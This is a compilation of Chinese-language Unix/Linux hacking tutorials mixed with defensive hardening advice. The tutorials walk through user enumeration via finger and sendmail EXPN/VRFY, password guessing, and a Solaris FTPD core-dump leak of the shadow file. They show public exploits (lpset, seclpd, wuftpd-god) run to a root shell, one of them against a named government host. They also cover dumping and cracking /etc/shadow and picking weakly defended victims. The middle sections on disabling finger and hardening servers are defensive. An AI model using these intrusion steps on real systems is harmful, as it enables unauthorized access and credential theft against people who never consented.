可以说，hack *nix，我们可以利用的方法实在太多了，但通常要想取得预期的效果，却要根据实际目标的具体情况来具体对待，切忌生搬硬套，高手有云曰：上黑研理。中黑研法。下黑研用。

《%%扫描%%》

通常我们要hack的话，第一步要做的就是扫描，扫描可以让我们得到目标的一些有关资料，并以之为依据确定我们下一步的动作，而通过扫描带给我们的信息我们所作出的反应一般有下面几种。

目标开了哪些端口？这些端口有什么利用价值？扫描返回的banner信息说明目标是什么系统？什么版本？
这些版本的os有什么可利用的漏洞？我们有哪些攻击方法可以使用？

通常应该具备的好的扫描器有nmap，nessus等

《%%finger和telnet%%》

通过扫描返回的banner判断出是对方什么系统，什么版本，查找漏洞库看看这个系统有没有什么可以利用的大漏洞。看看目标有没有开finger服务？如果有的话利用finger得到用户名信息，我们可以通过简单的猜测来试探用户密码，用户多的话总会有几个懒虫的：），相信我，如果嫌麻烦或者想提高成功率干脆做个简单密码字典用流光挂上跑好拉，而且此时暴力破解的话成功率往往很高。

得到一些普通用户帐号后，telnet上去，查看其系统版本 uname -a，然后到一些著名的exploit站点寻找对应的exploit，上传并编译，溢出成功 ，得到root。如：

[root@null assassin]# telnet xxx.xxx.xxx.xxx
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.

SunOS 5.7

login: test
Password: test
Login incorrect
login: test
Password: test123
No directory! Logging in with home=/
Last login: Sun Apr 29 15:58:59 from xxx.xxx.xxx.xxx
Sun Microsystems Inc. SunOS 5.7 Generic October 1998

$ uname -a
SunOS SD-SVR-3 5.7 Generic_106541-02 sun4u sparc SUNW,Ultra-60

5.7 Sparc的系统，找一个对应的Exploit代码上传、执行

$ gcc /tmp/lpset lpset.c
$ cd /tmp
$ ./lpset
copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd-pl.net/
/usr/bin/lpset for solaris 2.6 2.7 sparc

FNS for files is not installed
Cannot use this command in this environment
Use: fncreate -t org command to install
#

得到root

如果目标不允许外部ip连接，我们可以换种思路，扫描其同一网段的机器，看有没有简单密码用户或默认帐号用户？可不可以rlogin到我们的目标？如果可以，嘿嘿~~~~

《%%目标有没有开ftp？%%》

试试能不能用ftp的默认帐户或者匿名登陆？如果可以的话，有很多ftp服务器本身具有一些漏洞可以得到系统的控制权或者当机，例如Solaris 操作系统中FTPD的一个
core漏洞，我们可以过 ftp 正常登录目的主机 ，
ftp> user root wrongpasswd （此处故意输入一个错误password）
ftp> quote pasv
此时，ftpd会报错退出，同时会在当前目录下生成一个core，shadow口令文件就包含在这个core中，用已有的帐号进入---get core---用notepad打开---cut---copy----然后解码跑root

《%%关于溢出%%》

溢出，又叫BufferOverflow，全名缓存区溢出。它分为本地溢出和远程溢出，可以说是历史最古老但又是迄今最有效的攻击方法。概括来说，它指的是一种系统攻击的手段，通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，使程序转而执行其它指令，以达到攻击的目的。据统计，通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。 事实上这是一个黑客在系统本地已经拥有了一个基本账号后的首选攻击方式。他也被广泛应用于远程攻击。通过对daemon进程的堆栈溢出来实现远程获得 rootshell
的技术，已经被很多实例实现。关于溢出的原理和具体使用，我将另文阐述 ，这里只说明溢出的一般使用方法

本地溢出

进入主机以后看看有没有明显的漏洞如/.rhosts，‘root/.profile，或者可写的/，或者可改的SUID程序，甚至找找有没有先进去的hacker留下来的后门:-)。查阅漏洞库，看该版本系统是否可以在本地进行缓存溢出攻击进而提升权限？一般都会有的。找到对应的exploit后，编译执行，溢出得到root。

例：（同telnet和finger中的例子）

远程溢出

扫描目标所开的服务中有没有可以远程溢出的漏洞？sunrpc的rpc.statd，redhat7的seclpd.c，netpr.c
寻找对应的exploit，编译后运行即可

例：目标为redhat7的系统，经查阅资料库的知redhat系统有一个lp服务有远程溢出漏洞，到hack.co.za找到
seclpd.c这个exploit。上传到跳板编译：
$ gcc -o seclpd seclpd.c
$
编译成功
$ ./seclpd 看一下说明

SEClpd by DiGiT of ADM/security.is !

Usage: seclpd victim ["brute"] -t type [-o offset] [-a align] [-p position]
[-r eip_addr] [-c shell_addr] [-w written_bytes]

ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes
ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes
Types:

[ Type 0: [ RedHat 7.0 - Guinesss ]
[ Type 1: [ RedHat 7.0 - Guinesss-dev ]

这里说明它有brute，-p，-a，-tv-o几个参数 ，并有0，1两种模式

我们开始吧
$./seclpd xxx.xxx.xxx.xxx -t 0
+++ Security.is remote exploit for LPRng/lpd by DiGiT

+++ Exploit information
+++ Victim: xxx.xxx.xxx.xxx
+++ Type: 0 - RedHat 7.0 - Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0

+++ Attacking xxx.xxx.xxx.xxx with our format string
Argh exploit failed$#%! try brute force!

倒！！！再来！！！

$./seclpd xxx.xxx.xxx.xxx -t 1
+++ Security.is remote exploit for LPRng/lpd by DiGiT

+++ Exploit information
+++ Victim: xxx.xxx.xxx.xxx
+++ Type: 1 - RedHat 7.0 - Guinesss-dev
+++ Eip address: 0xbffff12c
+++ Shellcode address: 0xbffff532
+++ Position: 300
+++ Alignment: 2
+++ Offset 0

+++ Attacking xxx.xxx.xxx.xxx with our format string
Argh exploit failed$#%! try brute force!

faint！！！还是不行~~~！ 好吧 ，我们就用broute force的吧

$./seclpd xxx.xxx.xxx.xxx brute -t 0
+++ Security.is remote exploit for LPRng/lpd by DiGiT

+++ Exploit information
+++ Victim: xxx.xxx.xxx.xxx
+++ Type: 0 - RedHat 7.0 - Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0

+++ Attacking xxx.xxx.xxx.xxx with our format string
+++ Brute force man, relax and enjoy the ride ;>

稍等一下，哈哈 ，看那！！！

- [+] shell located on
www.fbi.gov.tw

- [+] Enter Commands at will

Linux FBI.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
uid=0(root) gid=7(lp)

看到了吗？？？uid=0也，那就是说你已经是root了也！！！！
现在你想怎么样都可以了~~~
不要太狠哦~~~~~；P


UNIX/LINUX网络安全基础（一）

    详细信息:
这里我们将要讨论的基于UNIX/LINUX的网络安全问题！
在日益繁荣的INTERNET和INTRANET上，基于LINUX/UNIX的服务器/主机占了绝大多数，由此而引发了基于LINUX/UNIX的安全问题，这始终是网络安全讨论的一大主题！我们将就如下几个方面来讨论LINUX/UNIX的安全问题！

主机信息的屏蔽和获取

在网络世界中收集有用的信息以及同时有效地保护自己的信息不被他人获取是一个永恒的主题。
一般来说获取主机的信息不外乎一下的几种方法：

1、利用WindowNT和UNIX系统中的finger命令
finger是最常用的一条指令，用来查询目标主机的用户信息和主机的部分信息，如下例示：

# finger @my.target.server

[my.target.server]

user1 ??? pts/4 <Jun 16 10:21>
user2 ??? < . . . . >
user3 ??? < . . . . >
webmaster ??? pts/6 <Jun 1 11:26> 111.222.333.444
user4 ??? pts/4 <Jun 23 10:11> 555.666.777.888

这样我们就可以列出了在当前的系统上登陆的用户了！在有些系统上，我们还可以获得主机的类型等信息。
如果我们还想知道更多的信息，可以在finger后面加上一个参数-l就可以得到该用户的详细信息了

# finger -l webmaster@my.target.server
[my.target.server]
Login name: webmaster
Directory: /export/home/webmaster Shell: /sbin/sh
Last login Tue Jun 1 11:26 on pts/6 from 111.222.333.444
New mail received Thu Jul 1 19:57:48 1999;
unread since Tue Jun 29 19:29:24 1999
No Plan.

这样我们就得到了该用户的非常详细的信息了，我们可以知道该用户是从何处、何时登陆的，以及他
所使用的shell的类型，用户目录等。
因此，finger可以算的上一条非常危险的指令了，所以很多系统管理员都关闭了finger的服务。但这不一定时最好的方法！

2、利用uname获取主机信息

学过unix的人一定知道unix里的一条最入门的指令uname。说他最入门是因为在unix里介绍的第一条指令就是他了。我们来看看他的具体执行情况：

dsp:~$ uname -a
Linux dsp 2.2.9 #1 Tue Jun 8 10:40:39 CST 1999 i586 unknown
dsp:~$

很详细，他明白无误地告诉了我系统是linux系统，采用的内核是2.2.9的版本。而linux的内核2.2.x有一个致命的DOS攻击缺陷，很容易被人攻击成功！
我们看到利用这条uname指令，可以很轻松地获取主机的详细信息，包括它的机器类型、操作系统类型 CPU类型等等。

3、利用telnet、ftp等登陆来获取系统的信息

当我们登陆到一台主机上时，它所提供的登陆信息也可以为我们提供有用的信息。如下示：

Welcome to Linux 2.2.9.
dsp login:

和

SunOS 5.6

login:

分别告诉我们这是linux和sun的机器，剩下的我就不多说了。当然还有别的许多方法。

二、主机信息和用户信息的屏蔽

上面我们提到了获取这些资源的方法和手段。现在我们从防御的角度考虑如何屏蔽这些信息的流失！

1、关闭finger服务

这是最直接了当的做法了！

在unix里，finger服务的提供者是fingerd，它是一段守护程序，专门用来监听来自79号端口的服务请求如果我们把fingerd这个守护程序关闭，也就停止了finger的服务功能了！
通常fingerd守护程序是由/etc/inetd.conf来加载的，所以我们只要修改/etc/inetd.conf文件，就可以了 在inetd.conf中，我们可以找到如下的几行：

finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd -u

在它的前面加上#，

#finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd -u

重新写入该文件。然后

# ps -aux|grep inetd
root 95 0.0 0.5 832 156 ? S Jun30 0:00 /usr/sbin/inetd

可以得到inetd守护程序的PID，在这里是95

# kill -1 95

就重新启动inetd了
这时，我们就会发现finger服务被关闭了！

2、修改finger服务

在上面描述中，我们知道fingerd守护程序及其加载，那么，作为一个好的管理员就应该考虑修改这个守护程序，使它按照我们的意愿来提供信息，这样可以迷惑攻击者！并在一定程度上误导攻击者！

让我们来看

finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd -u
~~~~~~~~~~~~~
我们发现fingerd的守护程序是in.fingerd，那么只要修改它就可以了！在一般的系统里这个程序是放在/usr/sbin/这个目录里的！
现在我们来做我们自己的fingerd!

# cat > in.fingerd
echo "IRIX 4.0 System"
echo "[my.target.server]"
echo "root root pts/4 <Jun 16 10:21>"
echo "fakeuser1 fakename1 pts/5 < . . . . >"
echo "fakeuser2 fakename2 pts/2 < . . . . >"
echo "fakeuser3 fakename3 pts/6 <Jun 1 11:26> 111.222.333.444"
echo "fakeuser4 fakename4 pts/4 <Jun 23 10:11> 555.666.777.888"
^D
#

然后重新启动inetd，呵呵，结果你就自己看吧！

3、修改登陆的提示信息！

我们知道登陆的提示信息有时会提供很多的信息，那如何不让这些信息被人知道呢？在unix系统里有个目录很重要，它就是/etc目录。具体的登陆信息就是放在这个里面的！而这两个文件

-rw-r--r-- 1 root root 26 Jun 30 19:14 issue
lrwxrwxrwx 1 root root 5 May 27 22:45 issue.net -> issue

中存放着登陆信息

# cat issue

Welcome to Linux 2.2.9.

那么下一步就是改动这个文件，把它改成我们想要的输出格式和内容！但这个文件是每次开机由系统生成的！你这次改了，下次还要改！有什么一劳永逸的方法吗？有！还是在/etc，这个目录里！在这个目录里有个rc.d的目录，其中的脚本文件都是和系统启动有关的！让我们来看看有什么发现把！在rc.K里有这么一段程序！

# Setup the /etc/issue and /etc/motd to reflect the current kernel level:
# THESE WIPE ANY CHANGES YOU MAKE TO /ETC/ISSUE AND /ETC/MOTD WITH EACH
# BOOT. COMMENT THEM OUT IF YOU WANT TO MAKE CUSTOM VERSIONS.
echo > /etc/issue
echo Welcome to Linux `/bin/uname -a | /bin/cut -d\ -f3`. >> /etc/issue
echo >> /etc/issue
echo "`/bin/uname -a | /bin/cut -d\ -f1,3`." > /etc/motd
这下子，就不用我多说了把！

4、屏蔽uname

鉴于uname在系统中的重要性，作为一个负责的网络管理员，应该限制它的使用范围，比如只限于管理员使用，我们通常是这样做的

# chmod 700 uname


Unix的管理安全

大多数人认为安全问题都是技术方面的，黑客都是具有高超编程技术的计算机天才，事实不是这样，大部分黑客只是比一般的网络使用者更有耐心更细心，他们利用一般用户使用不到的功能或系统管理员的马虎对系统进行入侵。据CERT统计80％的安全问题出自于管理的漏洞，也就是说绝大部分安全漏洞是系统管理员的操作失误导致的(这种失误包括授予普通用户过多的权利和没有对自己的网络拓扑结构透彻地分析)，而目前大多数安全方面的文章都是讨论防火墙的运用。我不是反对运用防火墙保护网络的安全，但是大部分毛病既然可以使用管理的角度来防止又何必非要等防火墙呢？

当然任何操作系统都有这样或那样的技术漏洞，但是在一般情况下利用这些技术漏洞获得超级用户权利的前提是拥有本机的Shell，如果没有一个可以操作的Shell，黑客是无法运用诸如缓冲区溢出、sendmail bug等程序来获得超级用户的权限的。本文即介绍从管理的角度来保障系统的安全。从管理上能防止大多数一般黑客的攻击，但是并不是说安全能够完全通过管理来实现。对于那些对操作系统十分熟悉的黑客来说,即使没有Shell帐户,他仍然可能入侵到这台机器里，比如利用IP欺骗和一些特定操作系统的技术漏洞。而且黑客如果只是想让某台机器瘫痪而不是盗取信息，他多半会用DOS攻击(拒绝服务)，就是让主机一直处理无用的信息使之不能正常工作。对于敏感网络建立放火墙应当和建立网络环境一样重要，就目前的情况来看只要防火墙设置合适，局域网的安全还是有保障的。然而系统管理员需要有一定的安全意识，对于机器的故障情况能够判断出是技术故障还是被人攻击了。

容易出问题的地方
finger是UNIX平台上一种很普通的工具，使用它的目的是提供用户在给定系统上的一些有关信息。而一台Unix主机最容易出问题的地方是fingerd，就是finger的守护进程，关于它的工作原理在很多UNIX书上都有介绍，但它的缺点是提供的消息实在太多了。一个熟练运用finger的人可以在很短的时间内攻破一台fingerd没关的机器，这不是危言耸听，SUN Solaris的fingerd可以提供主机上所有在线用户名，所有用户名，比/etc/passwd更详细的用户信息。例如我对一台SUN机器提出finger请求，查询root情况，如果它的fingerd没有关闭或被替换，那么它将会告诉我如下信息：

Login name: root In real life: Super－User

Directory: / Shell: /sbin/sh

Last login Fri Mar 26 16:54 on pts/2

New mail received Sat Mar 27 23:10:37 1999;

unread since Wed Dec 23 09:56:10 1998

No Plan.

这样我就可以得到如下信息：

(1)root的真名是Super－User(有些勤劳的系统管理员会把自己的名字写在这儿，而且把root的密码设成自己的名字!!)；

(2)root的根目录在/下，有时黑客以普通用户身份侵入一台机器后发现/etc/passwd是root读写，那么他通过查看用户目录也能获得主机上大部分用户名；

(3)root的Shell环境是/sbin/sh，如果是/bin/passwd，证明用户登录主机只能修改密码；

(4)root上次登录机器是在1999.3.26 16:54；

(5)root有新信是1999.3.26到的，但是他从1998.12.23就没看过信。

因为操作系统的设计者认为finger是查询用户用的，当然是输出的信息越详细越好。但是在目前国内用户对口令安全认识还不够的情况下，用户口令是用户名、12345、abc123或管理员分配的默认口令还不能避免。除了对主机的finger外，路由器也有finger。尤其是接入路由器，它可以输出当前连接者的用户名及IP地址。实际上也造成了主机用户名的泄露。

除了finger命令外，sendmail带的EXPN命令也是可以泄露用户名的一个途径。当用Telnet登录主机sendmail端口时,用EXPN命令可以试出主机上的用户。比如expn root，如果有用户名叫root那么将返回用户的电子邮件地址，如果没有的话将输出User unknown。更危险的是用EXPN命令查到一个带别名的邮件地址时，返回的将是这个别名抄送的所有电子邮件地址。httpd配置不合理或CGI程序编写有问题，用户可以非法获取主机信息，存取文件系统。WWW服务中的安全问题主要出在CGI程序上。

对于SGI的机器来讲有两点比较特殊。第一，IRIX安装后有几个系统默认用户没有密码，请使用SGI机器的管理员们一定注意；第二，如果安装了IRIX的WWW服务器，请注意它的默认主页，防止它公布那些不该公布的消息。

加强安全管理
实际上安全的管理就是把该关的功能关闭，该限制的文件限制访问权限。从上面的介绍，fingerd应当关掉或被替换。关闭fingerd的方法也很简单：注释掉/etc/inetd.conf文件中finger进程来禁止finger，并重新启动inetd进程。或者在Internet上下载一个新的fingerd程序，它提供的信息可以让系统管理员放心。

如果要运行sendmail，请修改邮件发送配置文件（通常位于/etc/sendmail.cf)，将O PrivacyOptions=authwarnings改为O PrivacyOptions=authwarnings,novrfy,noexpn，这样可以关闭expn和vrfy的输出。

如果安装的操作系统没有shadow的话，建议安装shadow程序，并确实保证shadow文件的安全。备份shadow文件时文件名不能和shadow有关，最好备份到软盘上存放于安全地点。

希望国内的系统管理员们多看看黑客方面的消息，在这方面没有权威。漏洞从来不是CERT或DDN发现的，等他们做出反应时，对于那些敏感的地方来说可能已经太晚了。知识是从细心地搜索中学来的，经常上网是不可缺少的。

安全建议
从安全角度考虑，经常做telnet、ftp等需要传送口令的重要机密信息应用的主机应该单独设立一个网段, 以避免某一台个人机被攻破，被攻击者装上sniffer, 造成整个网段通信全部暴露。有条件的情况下, 重要主机装在交换式集线器上，这样可以避免sniffer偷听密码。

专用主机只开专用功能，如运行网管、数据库重要进程的主机上不应该运行如sendmail这种bug比较多的程序。网管网段路由器中的访问控制应该限制在最小限度，与系统集成商研究清楚各进程必需的进程端口号, 关闭不必要的端口。

对用户开放的各个主机的日志文件全部定向到一个syslogd server上, 集中管理。该服务器可以由一台拥有大容量存贮设备的Unix或NT主机承当。定期检查备份日志主机上的数据。

网管不得访问Internet。并建议设立专门机器使用ftp或WWW下载工具和资料。

提供电子邮件、WWW、DNS的主机不安装任何开发工具，避免攻击者编译攻击程序。

不向用户提供pine、elm、 mail、 vi等命令或环境, 登录只提供更换口令的功能。

网络配置原则是“用户权限最小化"，例如关闭不必要或者不了解的网络服务， 不用电子邮件寄送密码。

下载安装最新的操作系统及其它应用软件的安全和升级补丁，安装几种必要的安全加强工具，例如tcpwrapper， tripwire，john等，限制对主机的访问，加强日志记录，对系统进行完整性检查，定期检查用户的脆弱口令，并通知用户尽快修改。

定期检查系统日志文件，在备份设备上及时备份。

定期检查关键配置文件（最长不超过一个月）。

重要用户的口令应该定期修改（不长于三个月），不同主机使用不同的口令。

制定完整的系统备份计划，并严格实施。

制定详尽的入侵应急措施以及汇报制度。发现入侵迹象，立即打开进程记录功能（process accounting），同时保存内存中的进程列表（psaef）以及网络连接状态（netstatn），保护当前的utmp、 wtmp、lastlog、 sulog等重要日志文件，有条件的话，立即打开网段上另外一台主机监听网络流量，尽力定位入侵者的位置。如有必要，断开网络连接。在服务主机不能继续服务的情况下，应该有能力从备份磁带中恢复服务到备份主机上。

结束语
我很欣赏在某一个安全方面的个人主页上看到的一句话，大意如下：为了网络的安全，请您随手锁门。

我个人认为，在攻击强度不大时，随手锁门比换一把大锁唱空城计更有效。在网络安全方面应当“不以善小而不为，不以恶小而为之”。


Unix黑客初学者指导

首先说一下写这篇文章的目的，近来越来越多的人问我诸如“我如何能够黑了hotmail”或者aol等等一些其它的愚蠢的问题。这篇文章将确实的向你解释关于“hack”的一些知识。如果你是个初学者，你应当从头到尾通读这篇文章，或者如果你已经进阶了，那就别再往下看了，你应该全都了解的。我或许将往这篇文章中添加一些内容或者让他变得更易于理解。我写这篇文章的最根本的原因是，让别人不再来问我或者其他人如何去做*愚蠢*的事，是的，问如何去黑（how to hack）是*愚蠢*的，它让你看起来愚蠢并且学不到任何东西，当然除非你完全不能自学的话。

起初当我想弄乱别人的电脑时，我只是一个中学的小孩子。我问别人有关病毒和木马的事，并且使用它们，那时我是一个lamer（瘸子，不完整的）。我在学校里问别人并且最终发现一个对hacking感兴趣的人。他向我展示一些技巧，我付给他钱。（snowblue：现在有SQL，无用等一些高手义务的帮助你们，而你们却不好好的珍惜）他使用UNIX很多年了，他叫我去找一个shell。我不知道那是什么意思。他说那是对UNIX系统的访问权限。我仍然有点迷惑，最终我得到了一个shell。我读所有我能够找到的，把所有的时间都花在计算机上，我开始对社会和现实世界失去兴趣。那时候我每天在计算机上花的时间超过12个小时。我读任何找到的资料，我读的第一篇文章是"mostly harmless hacking"（几乎没有破坏性的入侵），我对它很感兴趣。起初我只会用一些图形模式的工具来做一些像改变关机屏幕的简单的事。做有关hacking的网站，尽管我并不知道hacking究竟是什么。我收集windows下的木马和病毒等一些工具，尽管那并不是hacking，但那时候我喜欢它们。随后我开始用邮件炸弹，flooder，DoS。当我对他们有了了解后，（我意识到那并不是hacking）我回去继续寻找shell。当时我所能找到的免费的shell都是非常简单的。我听说了有关linux的一些事。我问我学校的“黑客朋友”，他说不要用linux，用真正的UNIX。他搬到了PA,从那以后我再也没有他的音讯。我试图找到他并感谢它所教给我的，但没有成功。我得到了一个linux。安装是文本模式的，但它运行很迅速，它比windows要可靠多了，从不死机。但我的56k modem不能工作，我跑到了IRC问有关linux的问题。我发现了我的modem是一种叫winmodem的，win-moden是由软件控制的，他们通常比硬件modem慢，并且不能再linux下工作。（snowblue：现在大多数的modem在linux下都有驱动，你可以自己寻找）我在命令行下模式工作，看自己能够干些什么。最终我花了100美元买了一个linux兼容的modem。我让他工作，这太棒了。从那以后我就使用它，并且仍然可以在那上面学到更多的东西。我的父母说我“对计算机着魔了”，我试图解释我并没有。我从没有对它感到厌烦，我一直能够学到新的东西。那段时间里，我失去了一些朋友，退出了大学足球队。所有的一切仅仅是为了这该死的机器。希望某人可以发现这篇文章很有用。
目录

1． 普通的知识
2． 需要的东西
3． 简单的入侵
4． 如何进入
5． 列举
6． 常见的失误
7． 缓冲溢出
8． 防火墙
9． 进入之后干些什么
10． 如何才能不被抓住
11． 清除纪录
12． 用途
13． 我对破坏者的看法

否认声明：
阅读这篇文章说明你同意隶属于r00t-access的任何人都不对你通过看这篇文章所造成的任何后果负责

1． 读这篇文章的最好方法是一次把它读完，然后再读一遍。好吧，现在让我们开始。我假设你已经有了一些基本的知识，知道telnet是什么，一些基本的tcp/ip的知识等等。如果有一些你并不理解，不要犹豫，加入irc.dal.net上的#r00t-access，那是我常去的地方。
需要的东西：
2． 我列出了一些在这篇教程中需要的东西。你可以在anti-secure.com和packetstorm.securify.com找到它们。用引擎找一下就可以了。
1. - superscan (for windows)
2. - nmap (for unix)
3. - full shell access (the very best is if you have linux or bsd or solaris or another unix OS)
4. - compiler on the shell
5. - wingates (you can use them as telnet proxys)

容易的目标：
3． 这里我讲一下如何找到一些容易的目标
1． 到altavista.com用日语或其他语言搜索“游戏”，理由是这些站点的安全性较低
2． 扫描一个有很多服务的cable或者dsl子网，你可以用nmap，端口的状态应当是open而不是close或者filtered，nmap的扫描报告会告诉你的。我将不会告诉你如何使用namp，原因是man page已经有作够的信息了。
3． 确保nmap已经被安装了。使用下面我给出的命令
（注意：$是一个普通的用户，而#则是超级用户。作为例子，我用了24.112.*.*，吧它替换成你想要扫瞄的ip）
$ nmap -p 21,23 24.112.*.*
进入：
4． 为了能够进入，你应当收集尽可能多的有关目标主机的信息。由于这是你的第一次入侵，所以确保它有一个笨笨的管理员。然后你可以使用exploit。我将在后面详细解释
列举：
5． Ok 我们找到了目标。现在让我们得到更多的信息。首先来telnet它的79端口。如果它是打开的，你就可以得到以登陆用户的信息。仅仅是telnet然后按下回车。
让我们假定端口是打开的并且允许我们查看在线用户。看下面的例子：
$ telnet target.domain 79
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.

Login Name Tty Idle Login Time Office Office Phone
gt grahm crackhead /1 Sep 1 12:01
ok 如果你得到了一个login，把它记下来，然后找更多的login。或许你需要暴力穷句。你可以在www.packetstorm.securify.com 找到一个windows下的穷具工具。使用大量的单词来穷举那个账号。如果你得到的消息是"no one is logged on" 或许你需要一个windows下的haktek。同样，你可以在www.packetstorm.securify.com 找到它。Haketk能够让你监视finger进程并且纪录登陆的人。这是很有用的。另一种方法，你可以用sendmail。如果他们有很多的用户，你可以尝试telnet并且找几个有效的用户名，还可以找几个程序通过暴力法来完成。看下面，我给出了通过sendmail来得到有效的用户名的例子—
$ telnet target.domain 25
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.

220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400
expn wally
250 Wally Kolcun
vrfy wally
250 Wally Kolcun
expn Billy
550 BIlly... User Unknown
就像你所看到的，我telnet到他们的smtp，敲入expn，然后系统告诉我这是不是一个有效的用户，最后我给出了一个用户不存在的例子，当我敲入expn Billy，系统告诉我用户不存在，然后我知道这不是一个合法的用户。这同样可以帮助你得到他们的email，然后你就可以尝试一下社会工程学。
另一个搜集用户名的方法可以是利用usenet, altavista,你可以搜索一下新闻组，或许可以得到一些有用的信息。
另一些可以利用的进程是 systat netstat等等。
telnet还可以帮助你判断出对方的操作系统，当你想exploit时这是非常重要的。当telnet时，有些会给出系统信息，如下所示：
Trying IPaddress...
Connected to target.domain.
Escape character is '^]'.

Red Hat Linux release 6.1 (Cartman)
Kernal 2.2.12-20 on an i586
login:
你可以看到，系统是redhat 6.1
有些时候你可以使用社会工程学，拿Kevin Mitnick举个例子。它使用社会工程学进入了Novell，一个很大的系统。它所作的只是像一个在那里工作的人那样和别人交谈。他知道当时那里的某人正在度假，但是他知道某人的名字。他打电话到了Novell的办公室找那个人，然后秘书告诉他那个人正在度假，然后他说它需要和那个人联系，于是它便从秘书那里得到了那个人的信息。
常见的失误：
6． 人们会时不时的犯一些错误。这可以帮助你进入。某些人并不是很好的管理员。一个十分普遍的失误是权限设置上的错误。有些系统对所有人都开放了write权限。这是一个很大的问题。让我们举个例子。某人把cron.daily的write权限开放给所有人。你就可以上传一个后门程序并通过cron进程来执行，从而得到系统的访问权。
现在让我来告诉你最可怕的事。假如某个用户在系统上使用IRC，并且如果它把dcc文件传送设置为自动接收，接受目录为他的主目录。你就可以传给他一个.bash_profile，文件写的好的话，可以让他做一些事。例如添加一个用户，或者把密码邮寄给某人。很显然这是进入系统的最简单的方法。
缓冲溢出/exploiting：
7． 我不打算对缓冲溢出讲得太深，我只想借是那是什么然后进入下一节。
缓冲溢出—在进程上有一个叫缓冲限制的东西。缓冲限制限制了进入的字节数。某些情况下，你可以通过特殊的代码让缓冲区溢出来得到一个root用户或者普通用户。有一个例子是wu-ftpd 2.6.0 (1)的缓冲溢出。下面我将告诉你：
$ gcc wuftpd-god.c -o wuftpd-god
$ ./wuftpd-god -h

Usage: ./wuftpd-god -t [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]
[-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]
target : host with any wuftpd
user : anonymous user
dir : if not anonymous user, you need to have writable directory
magic_str : magic string (see exploit description)
-g : enables magic string digging
-x : enables test mode
pass_addr : pointer to setproctitle argument
ret_addr : this is pointer to shellcode
systypes:
0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm
2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm
3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm
4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)
5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports
* 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages
7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports
8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages

$ ./wuftpd-god -s0 -t target.domain

Target: target.domain (ftp/): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152

loggin into system..
[32mUSER ftp
[0m331 Guest login ok, send your complete e-mail address as password.
[32mPASS
[0m230-Next time please use your e-mail address as your password
230- for example: joe@cc456375-b.abdn1.md.home.com
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)

#
如果你想要root的话，exploit是一种方法。查出系统的操作系统，然后到hack.co.za 或者packetstorm 查找那个系统的exploit，你应当得到一些perl scripts/c scripts/shell scripts。执行它们，你就会成为root
当然，如果系统打了exploit的补丁，你或许想知道root的口令是什么。可以敲下面的命令：
（如果没有经过shadow，口令被存放于/etc/passwd）
# cat /etc/shadow 》 /root/passwd
root:34jk3h4jh3.,;8363:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
sympa:x:89:89:Sympa Mailing list manager:/home/sympa:/bin/bash
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:100:103:X Font Server:/etc/X11/fs:/bin/false
fax:x:10:14:Fax Master:/home/fax/:/bin/bash
postfix:x:101:233:postfix:/var/spool/postfix:
gdm:x:42:235::/home/gdm:/bin/bash
grim:9hu.u8:501:501:grim:/home/grim:/bin/bash
banal:x:102:236:BANAL Administrator:/home/banal:/bin/bash
bleeb:36.34/363;86:502:506::/home/bleeb:/bin/bash
上面就是/etc/passwd的内容，但是你需要破解他们，可以用john the ripper，可以在packetstorm或其他地方找到它。我就用它，他很快。（snowbue：支持国产，你可以用小榕的 乱刀 可以在在www.netxeyes.com 下载）有时破解一个账号要用几年的时间，所以我并不提倡这种做法。
防火墙：
